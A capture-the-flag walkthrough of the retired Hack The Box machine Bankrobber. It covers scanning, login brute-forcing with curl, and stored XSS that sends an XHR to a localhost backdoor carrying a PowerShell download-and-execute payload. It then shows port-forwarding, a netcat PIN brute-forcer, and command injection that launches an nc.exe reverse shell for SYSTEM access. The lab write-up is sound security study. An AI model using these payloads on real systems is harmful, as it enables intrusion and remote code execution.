This post documents the complete walkthrough of Bankrobber, a retired vulnerable VM created by Cneeliz and Gioo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Bankrobber is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.5 ( at 2019-09-22 18:02:00 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 3306/tcp on                                  
Discovered open port 80/tcp on                                    
Discovered open port 445/tcp on                                   
Discovered open port 443/tcp on

Interesting list of web-oriented open ports. Let’s do one better with nmap scanning the discovered port to establish their services.

# nmap -e tun0 -n -v -Pn -p80,443,445,3306 -A --reason -oN nmap.txt
80/tcp   open  http?        syn-ack ttl 127
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: E-coin
443/tcp  open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: E-coin
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
445/tcp  open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        syn-ack ttl 127 MariaDB (unauthorized)

Nothing really interesting stands out. Here’s how the site looks like. Bitcoin, eh?

Directory/File Enumeration

Let’s see what we can find with SecLists and gobuster.

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,log
[+] Timeout:        10s
2019/09/24 02:34:03 Starting gobuster
/login.php (Status: 302)
/user (Status: 301)
/admin (Status: 301)
/js (Status: 301)
/logout.php (Status: 302)
/css (Status: 301)
/register.php (Status: 200)
/img (Status: 301)
/webalizer (Status: 403)
/index.php (Status: 200)
/fonts (Status: 301)
/phpmyadmin (Status: 403)
/link.php (Status: 200)
/notes.txt (Status: 200)
/licenses (Status: 403)
/server-status (Status: 403)
/con (Status: 403)
/con.php (Status: 403)
/con.txt (Status: 403)
/con.log (Status: 403)
Progress: 8536 / 17771 (48.03%)^C
[!] Keyboard interrupt detected, terminating.
2019/09/24 02:41:33 Finished

What have we here? notes.txt sure looks interesting.

PHP Page Analysis

Let’s check out the two pages of interest: login.php and register.php.


# curl -i -d "username=admin&password=admin"
HTTP/1.1 302 Found
Date: Tue, 24 Sep 2019 02:49:55 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
X-Powered-By: PHP/7.3.4
Location: index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8


# curl -i -d "username=admin&password=admin"
HTTP/1.1 302 Found
Date: Tue, 24 Sep 2019 02:51:16 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
X-Powered-By: PHP/7.3.4
Location: index.php?msg=User already exists.
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Notice that register.php provides a way to verify whether a particular user exist? Let’s see what happens when we register a totally new user.

# curl -i -d "username=dipshit&password=dipshit"
HTTP/1.1 302 Found
Date: Tue, 24 Sep 2019 02:53:48 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
X-Powered-By: PHP/7.3.4
Location: index.php?msg=User created.
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Interesting. There’s a message to tell us that a new user was created. What happens when we log in?

# curl -i -d "username=dipshit&password=dipshit"
HTTP/1.1 302 Found
Date: Tue, 24 Sep 2019 02:55:08 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
X-Powered-By: PHP/7.3.4
Set-Cookie: id=25
Set-Cookie: username=ZGlwc2hpdA%3D%3D
Set-Cookie: password=ZGlwc2hpdA%3D%3D
Location: user
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Hmm. Cookie-based authentication??!! Look at the redirection? To /user! Previously in our enumeration, the directory /admin was also present along with /user. If I had to guess, I would say that admin logon gets redirected to /admin. With that in mind, I wrote the following brute-forcer script of sorts, using curl as the main driver.


function die() {
  killall perl &>/dev/null

CHECK=$(curl -i \
             -s \
             -d "username=$USER&password=$PASS" \
             http://$HOST/login.php \
  | grep -E '^Location')

if grep 'admin' <<<"$CHECK" &>/dev/null; then
  echo "[*] Password is: $PASS"

Combined with GNU Parallel, we get a poor man version’s of a multi-threaded brute-forcer. It took me a while to brute-force the passsword. The credential is (admin:hopelessromantic).

Let’s check it out.


Backdooring PHP

Long story short. The creators left a PHP backdoor that can only be executed from localhost.

Recall notes.txt? It says that only comments from localhost are not encoded. This means that we may be able to inject JavaScript into the backend and run it as localhost. But where to inject the JavaScript?

Earlier on, I went ahead to register a new user. In the user’s page there’s a feature that allows one to transfer E-coins with a custom comment to the recipient.

Here’s a simple JavaScript to demonstrate the callback capabilities of the remote backend.

<script>var img = new Image(); img.src = "";</script>

We already knew that admin has an ID of 1 previously. We also need to set up a SimpleHTTPServer for testing purposes. Once we hit the transfer button, we are greeted with a popup alert.

That’s the signal to login to the admin page.

Once you hit accept, a HTTP GET comes knocking on our door, requesting for hacked.png.

Sweet. But first, let’s take a peek at how the backdoor remote command execution (system.js) is implemented.

Well, I could use XHR to reach http://localhost/admin/backdoorchecker.php. That should work. Check it out.

function hello() {
  var http=new XMLHttpRequest();
  var url='http://localhost/admin/backdoorchecker.php';
  var params="cmd=dir | powershell /c iex (new-object net.webclient).downloadstring('')";'POST',url,true);

Let’s minify the JavaScript while we are at it.

Bombs away. Moments later, see who came knocking on my door, with PowerShell no less. :wink:

Low-Privilege Shell

With that in mind, we can probably execute some kind of reverse shell.

Bam! The file user.txt is at Cortin’s desktop.

Privilege Escalation

During enumeration of Cortin’s account, I notice a weird service bankapp, listening at 910/tcp. The executable path is C:\bankv2.exe. And since the port wasn’t discovered during our port scan, it can only mean that this service is listening through localhost or the loopback interface.

With that in mind, let’s transfer a copy of plink.exe a SSH client over. Using remote port-forwarding, we can “forward” 910/tcp over to my attacking machine hosting the SSH service.

start ssh -R 910: -pw <password> [email protected] -N

Once that’s done, we should be able to connect to 910/tcp locally on our attacking machine.

Breaking bankv2.exe

So, the program requires a 4-digit PIN to log in, eh? That should be easy. I wrote a simple brute-forcer for that.


function die() {
  killall perl &>/dev/null

if echo $PIN | nc $HOST $PORT 2>&1 | sed -r '$!d' | grep -iv 'denied' &>/dev/null; then
  echo "[*] PIN: $PIN"

See? Easy.

Long story short, the program is susceptible to a command injection vulnerability, after 32 bytes of string input. Prior to that, I’ve already copied nc.exe over to C:\users\cortin\appdata\nc.exe, so we’ll launch a reverse shell from there.

And a shell with SYSTEM privilege appears…

Getting root.txt is trivial with a SYSTEM shell.